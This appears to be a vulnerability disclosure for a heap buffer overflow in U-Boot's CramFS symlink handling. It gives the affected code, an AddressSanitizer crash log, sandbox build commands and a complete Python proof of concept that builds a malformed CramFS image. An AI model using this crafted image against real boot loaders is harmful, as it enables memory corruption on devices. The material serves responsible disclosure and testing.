Hi, I'm Koon
I am reporting a vulnerable code that I discovered.
Summary: There is a Heap Buffer Overflow vulnerability in the
cramfs_uncompress_link function within fs/cramfs/cramfs.c . This
vulnerability allows an attacker to overwrite heap metadata and adjacent
memory chunks
Vulnerability Details: The vulnerability is caused by a "Time-of-Check to
Time-of-Use" (TOCTOU) error
1)The code reads the file size from the inode (inode->size) and allocates
memory using malloc(size + 1) .
2)However, it calls cramfs_uncompress to decompress the data without
passing the allocated size limit.
3)If an attacker provides a compressed payload that inflates to a size
larger than inode->size, cramfs_uncompress writes past the end of the
allocated buffer.
Affected Code ( fs/cramfs/cramfs.c ):
static char *cramfs_uncompress_link (unsigned long begin, unsigned long
offset)
{
// ...
unsigned long size = CRAMFS_24 (inode->size);
char *link = malloc (size + 1); // Allocation based on inode size
// Vulnerability: No size limit passed to uncompress
if (!link || cramfs_uncompress (begin, offset, (unsigned long)link) !=
size) {
// ...
}
// ...
}
PoC:
I have verified this vulnerability using U-Boot Sandbox with
AddressSanitizer (ASan) enabled. Setup: inode->size set to 1 byte,
compressed payload inflates to 100 bytes. Result: ASan reports a SIGSEGV in
do_check_inuse_chunk (common/dlmalloc.c), confirming heap metadata
corruption.
I have attached the full ASan Log and the PoC code, Setting_txt for
reproduction.
Best regards,
AddressSanitizer:DEADLYSIGNAL
=================================================================
==24027==ERROR: AddressSanitizer: SEGV on unknown address 0x2828382b5dfd1f (pc
0xaaaad81206d8 bp 0xffffd9784cc0 sp 0xffffd9784cc0 T0)
==24027==The signal is caused by a READ memory access.
#0 0xaaaad81206d8 in do_check_inuse_chunk common/dlmalloc.c:833
#1 0xaaaad8120790 in dlfree common/dlmalloc.c:1563
#2 0xaaaad8120790 in dlfree common/dlmalloc.c:1525
#3 0xaaaad823b5f8 in cramfs_uncompress_link fs/cramfs/cramfs.c:108
#4 0xaaaad8243310 in cramfs_resolve fs/cramfs/cramfs.c:172
#5 0xaaaad80bc5a8 in cramfs_load fs/cramfs/cramfs.c:242
#6 0xaaaad80bc5a8 in do_cramfs_load cmd/cramfs.c:136
#7 0xaaaad811b9d0 in cmd_call common/command.c:582
#8 0xaaaad811b9d0 in cmd_process common/command.c:637
#9 0xaaaad810ffa8 in run_pipe_real common/cli_hush.c:1674
#10 0xaaaad810ffa8 in run_list_real common/cli_hush.c:1870
#11 0xaaaad8110cb8 in run_list common/cli_hush.c:2019
#12 0xaaaad8110cb8 in parse_stream_outer common/cli_hush.c:3209
#13 0xaaaad806437c in parse_file_outer common/cli_hush.c:3301
#14 0xaaaad806437c in cli_loop common/cli.c:302
#15 0xaaaad806437c in main_loop common/main.c:82
#16 0xaaaad806437c in run_main_loop common/board_r.c:590
#17 0xaaaad806437c in initcall_run_r common/board_r.c:783
#18 0xaaaad806437c in board_init_r common/board_r.c:813
#19 0xaaaad806437c in sandbox_main arch/sandbox/cpu/start.c:584
#20 0xffffba4d73fc (/lib/aarch64-linux-gnu/libc.so.6+0x273fc)
#21 0xffffba4d74d4 in __libc_start_main
(/lib/aarch64-linux-gnu/libc.so.6+0x274d4)
#22 0xaaaad805586c in _start (/work/u-boot/u-boot+0x26586c)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV common/dlmalloc.c:833 in do_check_inuse_chunk
==24027==ABORTINGdocker run -it --rm -v $(pwd):/work -w /work ubuntu:22.04 bash
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y \
build-essential libssl-dev libgnutls28-dev git \
bison flex libsdl2-dev device-tree-compiler \
python3 python3-dev python3-setuptools swig libpython3-dev \
uuid-dev efitools
# Clone U-Boot repository (if not already present)
git clone https://github.com/u-boot/u-boot.git
cd u-boot
make mrproper
make sandbox_defconfig
# Enable ASan and CramFS
echo "CONFIG_ASAN=y" >> .config
echo "CONFIG_CMD_CRAMFS=y" >> .config
echo "CONFIG_FS_CRAMFS=y" >> .config
echo "CONFIG_VIDEO=n" >> .config
echo "CONFIG_DM_VIDEO=n" >> .config
make oldconfig
make -j1 # Single thread recommended for ASan builds
cd ..
python3 poc_cramfs.py
./u-boot/u-boot
host bind 0 asan_poc.cramfs
setenv cramfsaddr 0x2000000
host load hostfs - 0x2000000 asan_poc.cramfs
cramfsload 0x1000000 /link#!/usr/bin/env python3
"""
CramFS Heap Buffer Overflow PoC for ASan
Target: U-Boot fs/cramfs/cramfs.c:cramfs_uncompress_link
Vulnerability:
1. cramfs_uncompress_link allocates memory based on inode->size.
2. cramfs_uncompress decompresses data into this buffer.
3. It checks if uncompressed size matches inode->size ONLY AFTER decompression.
4. If we set inode->size small (e.g., 1) but provide a large compressed block (e.g., 4KB),
it will write 4KB into a 2-byte buffer, triggering a Heap Buffer Overflow.
"""
import struct
import zlib
import os
def create_cramfs_superblock():
"""
Creates the CramFS superblock structure.
This function constructs the 76-byte superblock header required for a valid CramFS image.
It sets the Magic number, Size, Flags, and initializes the Root Inode information.
"""
data = bytearray(76)
struct.pack_into('<I', data, 0, 0x28cd3d45)
struct.pack_into('<I', data, 4, 0x10000)
struct.pack_into('<I', data, 8, 0x00000001)
struct.pack_into('<I', data, 12, 0)
data[16:32] = b'Compressed ROMFS'
struct.pack_into('<I', data, 32, 0x12345678)
struct.pack_into('<I', data, 36, 0)
struct.pack_into('<I', data, 40, 0x100)
struct.pack_into('<I', data, 44, 0x10)
data[48:64] = b'asan_crash_fs '
struct.pack_into('<H', data, 64, 0x41ED)
struct.pack_into('<H', data, 66, 0)
data[68] = 0x00
data[69] = 0x01
data[70] = 0x00
data[71] = 0
struct.pack_into('<I', data, 72, 0x4C0)
return bytes(data)
def create_malicious_symlink_inode(data_offset_blocks):
"""
Creates a malicious symbolic link inode.
This function generates an inode for a symbolic link with a manipulated 'size' field.
By setting the size to 1 byte, we trick U-Boot into allocating a very small buffer (malloc(2)).
However, the actual data pointed to by this inode will be much larger, causing an overflow.
"""
data = bytearray()
data += struct.pack('<H', 0xA1FF)
data += struct.pack('<H', 0)
data += bytes([0x01, 0x00, 0x00])
data += struct.pack('<B', 0)
val = (data_offset_blocks << 6) | 4
data += struct.pack('<I', val)
data += b'link\x00\x00\x00\x00'
return bytes(data)
def main():
"""
Main function to generate the malicious CramFS image.
This function assembles the final 'asan_poc.cramfs' image by:
1. Creating the Superblock.
2. Creating the Malicious Inode.
3. Adding necessary Padding and Block Pointers.
4. Creating a large Compressed Payload (100 bytes) that exceeds the allocated size.
5. Writing the constructed binary data to 'asan_poc.cramfs'.
"""
print("[+] Creating ASan Crash CramFS image...")
superblock = create_cramfs_superblock()
symlink_inode = create_malicious_symlink_inode(64)
current_size = len(superblock) + len(symlink_inode)
padding1 = b'\x00' * (256 - current_size)
payload = b'A' * 100
compressed_data = zlib.compress(payload)
compressed_len = len(compressed_data)
block_ptr_value = 260 + compressed_len
block_ptrs = struct.pack('<I', block_ptr_value)
image = superblock + symlink_inode + padding1 + block_ptrs + compressed_data
if len(image) < 4096:
image += b'\x00' * (4096 - len(image))
with open("asan_poc.cramfs", "wb") as f:
f.write(image)
print(f"[+] Created asan_poc.cramfs")
print(f"[+] Inode Size: 1 byte (Allocates 2 bytes)")
print(f"[+] Payload: 100 bytes (Writes 100 bytes)")
print(f"[+] Expected Result: Heap Buffer Overflow (Write of 98 bytes out of bounds)")
if __name__ == "__main__":
main()